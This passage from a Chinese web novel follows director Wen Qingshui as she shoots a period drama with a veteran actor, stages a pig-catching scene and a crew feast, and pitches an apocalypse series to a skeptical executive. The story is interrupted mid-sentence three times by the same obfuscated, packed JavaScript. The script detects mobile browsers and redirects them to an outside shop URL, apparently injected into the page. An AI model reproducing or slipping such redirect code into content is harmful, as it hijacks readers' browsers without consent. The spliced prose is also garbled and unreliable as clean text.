“不对。”韩守业摇头,“你应该在想,这老陈家的,真能生。这要是再生个小子,将来娶媳妇的钱得攒到啥时候去。” 现场有人没忍住,“噗”地笑出声。 李叔也乐了,“还真是,我老家邻居就这样,四个小子,老头老太太到六十了还在打工。” “那就这么想。”韩守业说,“你越想这个,脸上的表情就越有意思,有点替他愁,又有点看热闹不嫌事大,还带着点过来人的感慨。” 李叔琢磨了一会儿,点点头,“明白了。” 韩守业又看向张奶奶。 饰演张奶奶的是位话剧团退休的老演员,满头银发,戴着老花镜。 “张老师,您念经呢?” 张奶奶不好意思地笑,“我念‘保佑母子平安’。” “别念这个。”韩守业摆摆手,“您念点实在的。比如——”他清了清嗓子,模仿起老太太念叨的调子,“这胎要是个闺女就好了,闺女贴心,知道疼人。老陈家那俩小子,皮的哟,上个月把我家腌酸菜的缸都给撞歪了。” 他学得惟妙惟肖,连那种老太太絮絮叨叨的节奏都一模一样。 现场这次没憋住,笑声一片。 张奶奶笑得眼睛眯成缝,“韩老师,您可太懂了。我婆婆当年就这么念叨我。” “那就这么念。”韩守业说,“小声点,但得让观众能听见几个词。‘闺女’‘贴心’‘酸菜缸’——这几个词出来,味儿就有了。” 最后,他看向坐在长椅上的两个孩子。 大刚和二刚立刻坐直了。 “你俩,”韩守业蹲下身,视线和两个孩子平齐,“饿不饿?” 二刚下意识点头,“饿。” 大刚扯了扯弟弟的袖子,小声说:“妈在里面生妹妹呢,不能饿。” “饿了就说饿了。”韩守业笑了,“小孩嘛,天大地大吃饭最大。” 他转向沈舟,“建国,你继续踱步。走到第五个来回的时候,二刚拽拽你袖子,说‘爸,我饿了’。” 沈舟愣了一下,“这合适吗?正紧张的时候。” “太合适了。”韩守业站起来,“生活不就是这样吗?再大的事,孩子该饿还是饿。而且,” 他看向温清水,“温导,你觉得呢?孩子一说饿,当爹的得愣一下,后面才反应过来,哦,孩子饿了。这种从‘生死大事’突然被拽回‘柴米油盐’的转换,本身就带点幽默。还不破坏紧张感,反而更真实。” 温清水看着监视器里的画面,想了想,点头。 “按韩老师说的来。” 场记板再次打响。 “《北街往事》第一场第三镜,Action!” 温清水看着监视器里的回放。 画面里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254536|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沈舟那三秒的愣神特别真实,那是被生活突然打断重大时刻的茫然,也是为人父的本能反应。 李叔和王婶的对话,张奶奶的念叨,两个孩子的互动,都让场景丰满起来。 她抬起头,看向韩守业。 老爷子已经走回监视器那边,正跟摄影指导老陈说着什么,手指在空中比划着光位。 夕阳从拱形窗斜射进来,照在他花白的头发上,镀了一层暖金色的光。 温清水想,这就是老艺术家的本事。 一句话,一个细节,就能让戏活过来。 下午三点,厂房门口停了一辆白色的商务车。 星光传媒的人来了。 几个穿着西装的工作人员往下搬箱子,纸箱上印着某高档水果店的logo。 另一个箱子里是奶茶,杯壁上凝结着细密的水珠,在午后的阳光里闪闪发亮。 “温导!”负责人是个三十多岁的男人,戴金边眼镜,笑容标准,“李总监让我送点东西过来,给大家解解暑。” “谢谢。”温清水和他握手,“麻烦你们跑一趟。” “不麻烦不麻烦。”负责人连连摆手,“《北街往事》是公司这季度的重点项目,大家都期待着呢。” 他说着,示意手下把东西分下去。 奶茶一杯杯递到工作人员手里,水果切好了装在透明盒子里,红的是西瓜,黄的是芒果,绿的是蜜瓜,颜色鲜亮得像假的。 场务小伙子们欢呼着围过来,你一杯我一杯,笑声在空旷的厂房里回荡。 温清水拿了一杯奶茶,握在手里。 冰凉的,杯壁很快凝出水珠,湿漉漉的,沾湿了她的手指。 她转身走回监视器那边,乔舒然跟在她身边,手里也捧着一杯奶茶。 两人站在监视器后,看着忙碌的现场。 “好不真实啊。”乔舒然忽然说。 温清水侧头看她。 乔舒然低着头,吸管在杯子里搅着,冰块碰撞发出清脆的响声。 她没看温清水,像是自言自语:“我跟你三年了。以前在剧组,咱们就是最底层的。编剧算什么,导演说改就得改,演员说不行就得重写。累死累活,工资也就那样。” 她吸了一口奶茶。 “现在呢,有人送奶茶送水果,说话客客气气的,片酬也涨了。”她笑了一下,声音有点哑,“我爸上个月做复查,医生说恢复得特别好。我把钱打回去的时候,我妈在电话里哭了。” 乔舒然转过头,看向厂房高高的拱形窗。 阳光从那里倾泻下来,照亮了她侧脸上细细的绒毛。 “我就是觉得……”她的声音哽了一下,“好不真实。” 眼泪掉下来,一滴,落在奶茶杯盖上。 她赶紧抬手去擦,动作很快,像是怕被人看见。 温清水没说话。 她只是从口袋里掏出一包纸巾,抽出一张,递给乔舒然。 乔舒然接过去,按在眼睛上。纸巾很快湿了一小块,贴在皮肤上。 过了几秒,她放下手,眼睛红红的,但脸上努力挤出个笑。 “谢谢。”她说,声音还有点哑。 温清水摇了摇头。 “我们会越来越好的。” 她把奶茶放在监视器旁边,拿起对讲机。 “各部门准备,二十分钟后拍第二十三场。” 声音透过喇叭传出去,在空旷的厂房里回荡,带着点回声。 场务开始清场,演员就位,摄影机就位。 韩守业走到温清水身边,老爷子背着手,看着忙碌的现场,忽然说了一句: “这阵仗,比我当年拍电影还大。” 温清水笑了,“时代不一样了。” “是啊。”韩守业点点头,“时代不一样了。” 他看向温清水,“但你得记住,不管时代怎么变,戏好不好,观众心里有数。” “我记住了。”温清水说。 阳光又挪动了一点,从厂房中央移到东侧的墙上。 红砖墙被照得发亮,让温清水回忆起自己的童年时期,站在奶奶家的墙边,一次次的量身高。 温清水看着那片光,她想,继续走吧。 一步一步,慢慢走。 走到能看见真相的那天。 走到能让桑晚醒来的那天。 在这之前,她不能停。 23. 抓猪 早上六点,那头猪已经送到了。 它被关在临时搭的木板围栏里,通体黑色,脊背上有一道宽窄不均的白条,像谁用粉笔随手画上去的。 这会儿正用鼻子拱着地上的稻草,发出满足的哼哼声。 温清水坐在折叠椅上,手里摊着今天要拍的几页剧本。 她看得专注,又在本子上填一些新的理解。 直到乔舒然跑过来,招手叫她。 “清水,猪到了!” 声音里带着点压抑不住的兴奋,又有点慌。 温清水抬起头,视线越过乔舒然的肩,看见那头正在拱稻草的黑猪。 它大概有二百来斤,不算特别壮,但很精神,尾巴卷成个小圈,一甩一甩的。 蔡妍正在一旁给江挽月做中年妆造,闻言转过头,“活的?” “活的。”乔舒然点头。 蔡妍手里的粉扑停在半空,转头看向温清水,“怪不得你昨天发那个问卷,‘是否害怕活猪及生猪肉制品’,我还纳闷呢。” 温清水合上剧本,站起来。 晨光正好落在她身上,烟灰色的毛衣染了一层暖金色。 “今天有杀猪戏。”她说。 陆北辰和周止川刚进组。 陆北辰穿着80年代常见的蓝色工装,头发梳成中分,但依旧帅气。 他顺着众人的目光看过去,眼睛瞪大了。 “真杀猪啊?” 周围几个人都笑了。 “没那么血腥。”温清水笑着解释,“真要拍杀猪过程,镜头审核也过不了。主要是拍前后的气氛,抓猪,捆猪,邻里帮忙,还有最重要的,吃杀猪菜。” 正说着,沈舟做好了老年造型走过来。 他穿了件深灰色的中山装,领口扣得严实,头发用发胶梳得整齐,但特意在鬓角处挑染了几缕白。 脸上铺了偏暗的粉底,也添了几道皱纹,看起来像真老了二十岁。 陆北辰盯着他看了三秒,表情复杂。 温清水看懂了,笑了,“一会儿真要叫‘爸’的。” 陆北辰张了张嘴,没说出话。 半晌才嘟囔:“早知道不接这剧本了。” 周止川揽过他的肩,他演的是成年后的大刚,这会儿也穿着工装,但比陆北辰那件新些,领口敞着,露出里面的白色背心。 “没事,老弟。”周止川说,声音里带着笑,“咱妈还在那儿呢。” 他指了指正在化妆的江挽月,她已经化好了中年妆,眼角有了细纹。 听见这话,她转过头,对着陆北辰和周止川笑,“儿子们,一会儿好好演啊。” 现场又是一阵哄笑。 乔舒然这时候插话:“对了,都不怕吧?一会儿有抓猪的镜头。” 陆北辰挺了挺胸,“咱这东北爷们,铁定不怕。” “不怕就好。”温清水说,转身走向监视器。 韩守业来的时候,那头猪已经熟悉了新环境,正趴在稻草上打盹。 老爷子今天穿了件军绿色的棉大衣,戴了顶雷锋帽,耳朵那两块护耳翻上去,用扣子固定在帽顶。 他一进院子,先看见的不是人,而是猪。 他站在围栏边看了会儿,笑了。 他走到监视器那边,温清水正在和老陈确认机位。 “小温。”韩守业开口。 温清水抬起头,“韩老师。” “你这小丫头,”老爷子指了指那头猪,“还真是敢想敢干。” “都是您给的启迪。”温清水说,眼里有笑,“您不是说,生活就是最大的戏吗?” 韩守业点点头认同,背着手去看布景了。 拍摄很快开始。 这场戏拍的是1998年冬天,陈家杀年猪。 场景设在老医院后院,术组把它改造成了80年代东北常见的农家院。 土坯墙,木栅栏,院里一口压水井,井边放着个破旧的铁皮水桶。 屋檐下挂着成串的干辣椒和玉米,红黄相间,在晨光里亮得晃眼。 昨晚的戏已经拍完了“切酸菜”,邻居们聚在陈家,女人们围着大盆切酸菜,孩子们在院里跑来跑去。 酸菜丝堆成小山,空气里都是那股发酵的酸香味。 今天拍的是重头:抓猪。 “《北街往事》第二十七场第一镜,Action!” 场记板打响。 镜头从压水井开始。 沈舟饰演的□□正在压水,一上一下,井水哗哗流进桶里。 他穿着深蓝色的劳动布棉袄,袖口磨得发白,手上戴了副线手套,已经破了洞。 陆北辰和周止川从屋里出来。 两人都穿着棉袄棉裤,脚上是厚重的棉鞋。 陆北辰手里拎着根麻绳,周止川空着手,但眼神紧盯着猪圈。 “爸,准备好了。”陆北辰说。 □□停下压水的动作,直起身,擦了把额头的汗,其实天很冷,他呼出的气都成了白雾。 “小心点。”他说,“这猪劲大。” 三人走向猪圈。 猪已经察觉到不对,站起来,警惕地看着他们。 韩守业这时候给陆北辰加了个细节。 “你走过去的时候,”老爷子在开拍前说,“脚底下绊一下,差点摔了。” 陆北辰不解,“为什么?” “因为你紧张。”韩守业说,“你演的这个人,虽然长成大小伙子了,但到底是城里长大的,没干过农活。第一次抓猪,心里没底。这一绊,就把那种‘硬撑着的爷们气’和‘实际上的生疏’都表现出来了。” 陆北辰琢磨了一会儿,点头。 所以镜头里,他走到猪圈边时,左脚绊了右脚,踉跄了一下,手里的麻绳差点脱手。 周止川扶了他一把,“哥,没事吧?” “没事。”陆北辰站稳,清了清嗓子,“我能行。” 猪圈门开了。 猪立刻往后退,喉咙里发出低低的警告声。 三个人围上去。 混乱开始了。 猪左冲右突,陆北辰扑了个空,摔在稻草上。周止川抓住了猪的后腿,但被它一甩,差点带倒。 □□经验最老道,看准时机,从侧面抱住猪的脖子。 “绳子!”他喊。 陆北辰爬起来,把麻绳扔过去。 三人合力,终于把猪捆住了。 猪还在挣扎,但已经动弹不得,只能发出不甘的哼哼声。 “Cut!” 温清水喊。 现场所有人都松了口气,包括那头猪。 它被松绑后,居然没立刻跑开,而是趴回稻草上,继续打盹,好像刚才那场追逐跟它没关系似的。 韩守业笑着摇头,“这猪,有戏。” 接下来拍的是杀猪后的戏。 当然,没有真杀。 道具组把提前买好的生猪肉拿上场。 邻居们又来了。 王婶端着一盆刚和好的面,说要蒸血肠。 李叔拎来一瓶散装白酒,“杀猪不喝酒,等于喂了狗。” 张奶奶拄着拐杖,站在案板边指点:“这刀得往下走,顺茬,肉才嫩。” 镜头在人群里穿梭。 切肉的,灌血肠的,烧水的,聊天的。热气从大锅里升起来, 混着人们的笑声,还有锅里水开的咕嘟声。 一切都活过来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260172|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林寂跟在老陈身边,手里拿着一个小型的手持摄影机,正在练习抓拍特写。 老陈偶尔指点他:“光,注意光。侧逆光拍手,纹理才出来。” 林寂点头,调整角度。 阳光从院子上方斜射下来,把一切都镀上了暖金色。 下午四点,当天的戏全部拍完。 大家都很累,追猪的累,拍戏的累,但精神都很好。 那种热腾腾的生活气好像还留在空气里,一呼一吸都能感受到。 温清水这时候拍了拍手。 所有人都看向她。 “这十天大家辛苦了。”她笑着开口,“我准备了点东西,算是杀青前的小惊喜。” 她指了指院子角落。 那里不知什么时候搭起了一个土灶,灶上架着一口大铁锅。 锅盖盖着,但热气已经从边缘冒出来,带着浓郁的香气。 一个穿着白色厨师服的中年男人站在灶边,手里拿着长柄勺,正笑眯眯地看着大家。 “这位是李师傅,”温清水介绍,“我从‘老东北饭庄’请来的。借着今天这场戏的由头,咱们也吃点地道的东北菜。” 现场安静了一瞬,然后爆发出欢呼。 李师傅揭开锅盖。 热气扑面而来。 锅里炖着杀猪菜,酸菜、白肉、血肠、粉条,在浓汤里翻滚。 旁边的小灶上,熘肉段在油锅里滋滋作响,锅包肉炸得金黄酥脆。 菜不是用盘子装的。 李师傅准备了那种老式的铝制饭盒,很大,分成四格。一格装杀猪菜,一格装熘肉段或锅包肉,一格装素菜,还有一格装米饭。 每人领一个,自己找地方吃。 大家立刻行动起来。 陆北辰和周止川最先冲过去,领了饭盒,蹲在压水井边就开始吃。 陆北辰夹了块锅包肉,咬下去,外酥里嫩,酸甜汁恰到好处。 “唔!”他眼睛亮了,“好吃!” 周止川尝了口杀猪菜里的血肠,点头,“这味儿正。” 江挽月端着饭盒走到温清水身边,两人坐在屋檐下的长凳上。 她指着饭盒里的酸菜,“这个酸度,跟我妈腌的差不多。” 沈舟和韩守业坐在一起。 老爷子尝了口熘肉段,细细嚼了,点头,“这师傅手艺不错。肉挂糊挂得匀,炸的火候也准。” 沈舟笑,“韩老师您对吃也有研究?” “生活嘛。”韩守业说,“吃好了,才有力气演戏。” 乔舒然和蔡妍坐在另一张长凳上。 乔舒然扒了口米饭,含糊地说:“这比我妈做的好吃。” 蔡妍笑,“那你妈听见该伤心了。” “她是南方人,不会做东北菜。”乔舒然说,“但我爸是东北的,他就好这口。可惜我妈学不会。” 夕阳渐渐西沉。 院子里点起了灯,不是电灯,是那种老式的马灯,挂在屋檐下,暖黄的光晕开一小片。 大家围坐在一起,吃饭,聊天,笑。 韩守业放下饭盒,看着这场景,忽然笑了。 “这还提前过上年了。” 温清水抬起头。 她看着院子里的人,演员,工作人员,厨师,所有人都在笑,大家在这一刻放松下来。 暖黄的灯光照在每个人脸上,柔和了轮廓,也柔和了时间。 她想起很久以前,桑晚说过的话:“清水,等咱们成功了,就请全剧组吃大餐,吃最好的。” 现在她请了。 虽然不是最好的酒店,不是最贵的菜。 但这一刻的热闹,这一刻的温暖,桑晚应该会喜欢。 24. 普通人 乔舒然和林寂面对面坐着,中间摊开着一摞简历。 纸页在晨风里轻轻翻动,发出细碎的声响。 工作室成立四个月,陆续招了几个人,后期组的小赵、宣传组的小杨,还有财务李姐。 但要想真正独立运作,人手远远不够。 所以今天是在做初筛。 乔舒然拿起一份简历,照片上的男生眉清目秀,笑起来有颗虎牙。 她看了一眼,把简历放到左边那摞。又拿起一份,女生扎着高马尾,五官明丽,她又放到左边。 林寂手里也拿着几份,抬头看了看乔舒然手边越堆越高的“左边”,笑了。 “都是综合能力不错的?”他问。 乔舒然头也不抬,“你挑几个看看就知道了。” 林寂摇摇头,“这又不是选秀节目,怎么导师还得选心仪嘉宾。” 话音刚落,门被推开了。 温清水走进来。 乔舒然抬头看了一眼,手里的简历“啪”地掉在桌上。 “我的天,”她站起来,绕过桌子走到温清水面前,“清水,你真的不需要去医院吗?” 温清水摆摆手,在会议桌主位坐下。 她确实憔悴。眼睛下面有淡淡的青,嘴唇没什么血色,头发松松地扎在脑后,几缕碎发垂在颊边。 浅灰的针织衫宽宽松松地罩在身上,显得人更单薄。 《北街往事》杀青第五天了,她一直在找第五部的灵感。 古装,虐恋,年代剧,前四部的类型已经够广了,下一部拍什么,她想了整整两天,没怎么吃饭,也没怎么睡。 “没事。”温清水说,声音有点哑,“初筛结束了吗?” 乔舒然坐回位置,把左边那摞简历推过去,脸上露出点狡黠的笑,“我选好了几个,你先看看。” 温清水拿起最上面一份。 简历做得简洁,学历是北电导演系本科,专业课程成绩全优。实习经历在几个知名剧组跟过场记。 她视线往下移,停在个人照片上,男生,白衬衫,笑容干净。 第二份,中传编导专业,有过独立短片获奖经历。 照片上的女生短发,眉眼弯弯。 第三份,上戏表演系转幕后,会摄影会剪辑。照片里的人在舞台上,聚光灯打在脸上,轮廓分明。 温清水连着看了七八份,忽然轻笑了一声。 她抬眼看向乔舒然,“你是在找同事,还是找对象?” 乔舒然甜甜地笑了,“我这是为工作室的门面考虑。” 乔舒然是标准的颜控。无论男女,长得好看的她都喜欢。 这也是她当初愿意跟着温清水工作的原因之一,虽然温清水平时不打扮,但底子在那里,素着脸也好看。 “毕竟和长得好看的人一起工作,”乔舒然小声补充,“心情会比较好。” 说完,她下意识看了林寂一眼。 林寂正在翻简历,听见这话,悄悄红了耳尖。 温清水没再调侃。 她低头继续看简历。 乔舒然虽然颜控,但专业筛选做得不错,左边这摞人实力都过关。 她又翻了翻剩下的简历,从里面挑出几份同样符合条件的,放到一起。 “这些,”她指了指合并后的那摞,“通知他们这周六面试。你,蔡妍,还有小赵,来当考官” 小赵是后期组一个细心的姑娘,看人准。 乔舒然点头,“保证完成任务。” 窗外这时暗了下来。 温清水转头看向落地窗。 刚才还明媚的天,不知何时堆起了铅灰色的云。 云层很厚,沉沉地压在城市上空,边缘透着不祥的暗黄色。风大了,吹得树乱晃,叶子翻出灰白的背面。 “怎么跟末世文里的天气一样。”乔舒然嘀咕。 温清水看着那片天空,看了很久。 现在是初夏,本该是明媚的季节。 她想起昨晚看的天气预报,未来一个月,降雨概率都在百分之七十以上。 多雨。潮湿。阴沉。 一个念头闪现在脑海。 末日题材。 她起身,走到窗边。 云层更低了,几乎要擦着高楼顶端,远处有雷声滚过,闷闷的。 她看过很多末日短剧。 大部分问题明显:出品方舍不得经费,所谓的“物资囤货”用纸箱子替代,连个像样的货架都没有。 避难所永远是居民楼,空间局促,镜头转不开。场景名字起得高级,“地下堡垒”“生存基地”,拍出来其实就是普通仓库,灯光昏暗,布景简陋。 如果要拍,最大的难点在布景。 需要一个真实的且有层次感的,能经得起多角度拍摄的末日堡垒。 温清水走回会议桌,拿起手机。 “李总监。”电话接通后,她开口,“《北街往事》上预约了?谢谢您。” 电话那头是李总监带笑的声音:“数据很不错,温导,你真是部部爆款。怎么,又有新想法了?” “末日题材。”温清水说,“但布景方面,可能需要比较大的投入。” 她把想法简单说了说,不是一个棚内景,而是一个带真实功能区的生存基地。 要有物资仓库、医疗室、种植区、居住区,甚至要有通风管道和逃生通道。 李总监听完,沉默了几秒。 “温导,”她声音里多了点慎重,“你这个设想,可能得用一整个拍摄基地来实现。星光传媒虽然背靠晏氏,但预算审批是有流程的。” “我明白。”温清水说。 “这样,”李总监想了想,“你这个方案,最好直接向晏总汇报。他管项目投资审批。” “晏总什么时候有时间?” “我帮你问问秘书。你等我电话。” 挂了电话,温清水站在窗边。 雨开始下了。 先是几滴,砸在玻璃上,留下蜿蜒的水痕。后来越来越密,很快连成一片雨幕,把城市笼在灰蒙蒙的水汽里。 手机在二十分钟后响起。 “明天上午十点,晏总办公室。”李总监说,“温导,晏总时间宝贵,你尽量准备充分点。” “好。”温清水应声。 晏氏集团大楼在CBD核心区。 八十八层,玻璃幕墙在雨里泛着冷硬的光。 温清水走进大堂时,前台已经接到通知,直接引她到专用电梯。 电梯平稳上升,数字一跳一跳。 她手里拿着一个黑色文件夹,里面是末日短剧的初步方案,题材分析、市场调研、布景设计图,以及预算估算。 五十六层。 电梯门开,是整层的总裁办公区。 地毯很厚,踩上去没有声音。 秘书是个三十出头的女人,穿着得体的套装,笑容标准,“温导,晏总还在开会,请您在会客区稍等。” 温清水坐下,打开自己的文件夹,计划着一会要怎么表达。 窗外的雨还在下。 从五十六层看出去,城市浸在雨雾里,轮廓模糊。 会议室的门开了。 脚步声传来,沉稳,不疾不徐。 温清水站起来。 晏纪淮走在最前面,身后跟着几个高管。他边走边听旁边人汇报,偶尔点一下头。 秘书为他推开门。 他走进去,在巨大的办公桌后坐下。 秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263744|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书跟进去,端上一杯咖啡,放在他手边。 晏纪淮没碰咖啡,抬眼看向还站在门口的秘书。 秘书会意,转身对温清水做了个“请”的手势。 温清水走进去。 办公室很大,落地窗正对城市天际线。 雨痕在玻璃上纵横交错,把窗外的景色切割成破碎的色块。 “晏总。”温清水在办公桌前站定,“我是温清水,晴天工作室的导演。今天来是想汇报一个新项目的方案。” 晏纪淮没说话,只是看着她。 那眼神很静,没有任何催促的意思,但带着如有实质的压迫感。 温清水打开文件夹。 她尽量简洁地阐述了末日题材的市场潜力,目前同类作品的缺陷,以及她的解决方案。 建造一个真实的且可重复利用的末日生存基地。 温清水说完,合上文件夹。 办公室里安静了几秒,只有空调出风口的细微嗡鸣。 “我理解你的创意。”晏纪淮开口,“但星光传媒不是试验田。你的前三部剧成功,不代表每一次冒险都值得投资。” 秘书适时补充:“晏总,温导就是最近连续打造了《春日负暄》《无声告白》《凤鸣朝歌》的导演。数据都非常好。” 晏纪淮的目光落在温清水脸上。 这一次,他看得久了一些。 像在重新评估什么。 “你的设想需要很大的投入。”他说,“我想知道,你凭什么认为这个投入能赚回来?” 很直接的问题。 甚至有点刻薄。 温清水握紧了文件夹边缘,“末日题材目前的市场空缺很大。如果这部剧成功,我们建造的基地可以对外租赁,给其他剧组使用。长期来看,” “如果没成功呢?”晏纪淮打断她,“如果这部剧没爆,那个基地就成了废铁,变成集团的损失。” 他停顿了一下,身体向后靠进椅背。 “温导,我见过很多像你这样的导演。出一两部爆款,就觉得自己抓住了风口,可以无限复制成功。但市场是善变的,观众口味也是。星光传媒不需要赌徒,需要的是可持续的收益。” 每一个字都很冷静。 却像是一盆冷水,兜头浇下。 或许这半年太顺利,以至于温清水忘了,她也只是一个没有实权的导演。 现在有晏氏的合作,她可以不计较后果地一直投入,那合同结束了呢,她这样天马行空的想法,也会一直有人给她投资吗。 答案显而易见。 她站在那里,手指微微发麻。 但她脸上没什么表情,只是很轻地吸了口气,把文件夹推到晏纪淮面前。 “这是详细的方案和预算。请您过目。” 晏纪淮看了一眼文件夹,“资料我会看,有消息秘书会通知你。” 这就是送客的意思了。 温清水点了点头,“谢谢晏总的时间。” 她转身走出办公室。 门在身后关上时,她听见秘书小声说:“晏总,其实温导的数据真的很好。” 后面的话被门隔断了。 走廊很长,地毯很厚。 温清水走到电梯口,按下按钮。 电梯镜面映出她的脸,有点苍白,但眼神很平静。 雨还在下。 她走进电梯,看着数字一层层往下跳。 心里是有点难受的。 但更多的是一种清醒,晏纪淮说得对。 她不能因为连续成功就觉得自己无所不能。市场是残酷的,资本是理性的。 她抬起头,看着电梯顶部的灯光。 太亮了,亮到她都快忘记自己是一个普通人。